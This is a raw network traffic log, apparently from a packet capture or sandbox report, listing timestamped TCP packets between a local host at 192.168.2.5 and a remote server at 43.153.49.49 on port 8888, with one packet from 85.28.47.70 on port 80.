Jul 13, 2024 07:07:10.032802105 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.032819033 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.032825947 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.032833099 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.032845974 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.032850027 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.032865047 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.032866955 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.032881021 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.032885075 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.032902956 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.032922029 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033305883 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033322096 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033335924 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033350945 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033363104 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033373117 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033380032 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033395052 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033395052 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033410072 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033427000 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033437967 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033437967 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033457994 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033466101 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033473969 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033482075 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033500910 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033504963 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033521891 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033536911 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033544064 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033551931 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033565998 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033579111 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033584118 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033593893 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033608913 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033622980 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033628941 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033628941 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033638954 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033655882 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033655882 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033655882 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033670902 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033675909 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033685923 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033699989 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033713102 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033715010 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033730984 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033734083 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033747911 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033762932 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033763885 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.033762932 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033762932 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033788919 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.033934116 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034298897 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034313917 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034327984 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034343958 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034358025 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034369946 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034372091 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034388065 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034389019 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034403086 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034409046 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034419060 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034429073 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034435987 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034446955 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034461021 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034470081 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034470081 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034477949 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034492970 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034506083 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034508944 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034523964 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034533024 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034533024 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034539938 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034554958 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034558058 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034558058 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034571886 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034586906 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034601927 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034605026 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034605026 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034619093 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034626007 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034635067 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034651041 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034653902 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034653902 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034666061 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034681082 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034681082 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034681082 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034698963 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034713030 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.034738064 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.034759045 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.035053015 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.037503958 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.037563086 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.037578106 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.037631035 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038039923 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038053989 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038069010 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038091898 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038098097 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038098097 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038109064 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038121939 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038121939 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038124084 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038140059 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038152933 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038161993 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038168907 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038180113 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038193941 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038204908 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038204908 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038211107 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038225889 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038239956 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038255930 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038268089 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038269997 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038285971 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038288116 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038300991 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038310051 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038316965 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038330078 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038333893 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038350105 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038350105 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038350105 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038367987 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038377047 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038383961 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038399935 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038407087 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038414955 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038427114 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038431883 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038446903 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038451910 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038451910 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038463116 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038475037 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038475037 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038479090 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038494110 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038518906 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038520098 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038533926 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038539886 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038548946 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038564920 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038564920 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038567066 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038583040 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038589954 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038600922 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038608074 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038618088 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038633108 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038635969 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038635969 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038650036 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.038670063 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.038686037 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039052963 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039074898 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039089918 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039103985 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039118052 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039132118 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039139032 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039146900 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039161921 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039163113 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039161921 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039179087 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039194107 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039194107 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039201021 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039213896 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039225101 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039239883 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039254904 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039266109 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039268970 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039284945 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039287090 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039299965 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039308071 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039308071 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039324999 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039334059 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039341927 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039357901 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039371014 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039376974 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039376974 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039386988 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039398909 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039403915 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039421082 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039421082 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039421082 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039437056 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039450884 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039450884 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039453030 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039469004 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039475918 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039484978 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039493084 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039500952 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039518118 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039519072 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039519072 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039531946 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039539099 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039547920 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039563894 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039563894 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039575100 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039592028 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039606094 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039619923 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039624929 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039624929 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039635897 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039645910 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039652109 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039671898 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039671898 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039676905 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039691925 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039694071 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039709091 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039722919 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039732933 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039737940 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039752960 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039755106 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039769888 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039779902 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039779902 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039787054 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039803028 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.039804935 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039804935 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.039824963 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040046930 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040061951 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040085077 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040100098 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040116072 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040132999 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040132999 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040170908 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040170908 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040179968 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040198088 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040211916 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040225983 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040241003 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040255070 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040256023 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040277958 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040297031 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040323973 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040338993 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040353060 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040379047 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040458918 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040472984 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040496111 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040512085 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040518045 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040518999 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040518999 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040528059 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040544033 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040545940 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040559053 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040566921 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040575027 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040591002 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040616989 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040637970 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040815115 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040829897 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040844917 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.040868044 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040900946 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.040990114 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041004896 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041018963 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041033030 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041048050 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041052103 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.041052103 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.041071892 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041071892 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.041086912 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041091919 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.041105032 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041119099 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041132927 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.041138887 CEST	58985	8888	192.168.2.5	43.153.49.49
